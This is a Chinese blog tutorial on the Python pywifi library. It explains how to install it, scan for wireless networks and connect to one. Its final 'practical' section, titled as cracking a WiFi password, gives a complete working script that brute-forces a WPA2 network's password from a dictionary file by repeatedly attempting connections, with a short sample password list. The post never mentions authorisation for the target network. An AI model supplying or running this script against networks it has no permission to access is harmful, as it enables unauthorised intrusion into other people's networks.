admin管理员组文章数量:1619289
目录
1.pywifi下载方式
2.pywifi使用方法
扫描可用的无线网络
连接WiFi
3.实战
1.pywifi下载方式
pywifi是一个可以在python中连接网络的第三方库,包括了获取网络名称列表、连接或断开网洛的python库,先下载:
pip install pywifi
如果报错,报错信息是comtypes模块找不到 ,那么也得安装:
pip install comtypes
2.pywifi使用方法
扫描可用的无线网络
扫描可用的无线网络非常简单,在使用pywifi之前,需要先创建一个无线对象,然后调用scan()方法来扫描网络列表。下面是一个简单的例子:
import pywifi
# 创建一个无线对象
wifi = pywifi.PyWiFi()
# 获取无线网卡接口
iface = wifi.interfaces()[0]
# 扫描可用的无线网络
iface.scan()
# 获取扫描结果
results = iface.scan_results()
# 打印搜索到的网络
for result in results:
print(result.ssid)
连接WiFi
连接WiFi的过程一般分为两步:
- 扫描可用的无线网络
- 连接指定的无线网络
在这里先写出核心代码
def connectWifi(wifiName, wifiPasswd):
profile = pywifi.Profile() # 创建wifi配置文件
profile.ssid = wifiName # 设置要连接的无线网名称
profile.auth = pywifi.const.AUTH_ALG_OPEN # 设置wifi加密算法
profile.akm.append(pywifi.const.AKM_TYPE_WPA2PSK) # 设置加密类型
profile.cipher = pywifi.const.CIPHER_TYPE_CCMP # 设置wifi密码
profile.key = wifiPasswd # 设置wifi密码
iface.remove_all_network_profiles() # 删除所有的无线网卡配置文件
tmp_profile = iface.add_network_profile(profile) # 添加新的配置文件
iface.connect(tmp_profile) # 连接wifi
return iface.status() == pywifi.const.IFACE_CONNECTED # 返回连接状态
3.实战
破译WiFi密码:
import pywifi
from pywifi import const
import time
# 连接Wifi
def wificonnect(wifiname,wifipwd):
# 扫描网络列表
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
# 断开Wifi连接才能进行新的WiFi连接
ifaces.disconnect() # 断开连接
time.sleep(0.5)
if ifaces.status() == const.IFACE_DISCONNECTED:
# 创建WIFI文件
profile = pywifi.Profile()
# wifi名称
profile.ssid = wifiname
# 密码
profile.key = wifipwd
# WiFi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 网卡的开放
profile.auth = const.AUTH_ALG_OPEN
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 删除所有的WIFI文件
ifaces.remove_all_network_profiles()
# 设定新的链接文件
temp_profile = ifaces.add_network_profile(profile)
# 连接wifi
ifaces.connect(temp_profile)
time.sleep(1) # 如果不等待,网络会取消你的连接
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
# 读取密码本
def read_pwd():
# 读取密码并破解
print('开始破解:')
path = r'<PassWord File>' # 密码字典路径,包括后缀
file = open(path, 'r')
# 开始遍历密码本
while True:
try:
wifipwd = file.readline()
if wifipwd:
wifipwd = wifipwd[:-1] # 删掉最后的换行符
b = wificonnect('<Your WiFi>', wifipwd) #第一个参数即为WiFi名称
if b:
print('密码正确'+wifipwd)
break # 退出循环
else:
print('密码错误'+wifipwd)
else:
break
except:
continue
file.close()
read_pwd()
密码字典样本(.TXT)
123456
654321
88888888
000000
114514
版权声明:本文标题:遍历网络密码(python系列之——pywifi库) 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/xitong/1728796980a1174195.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论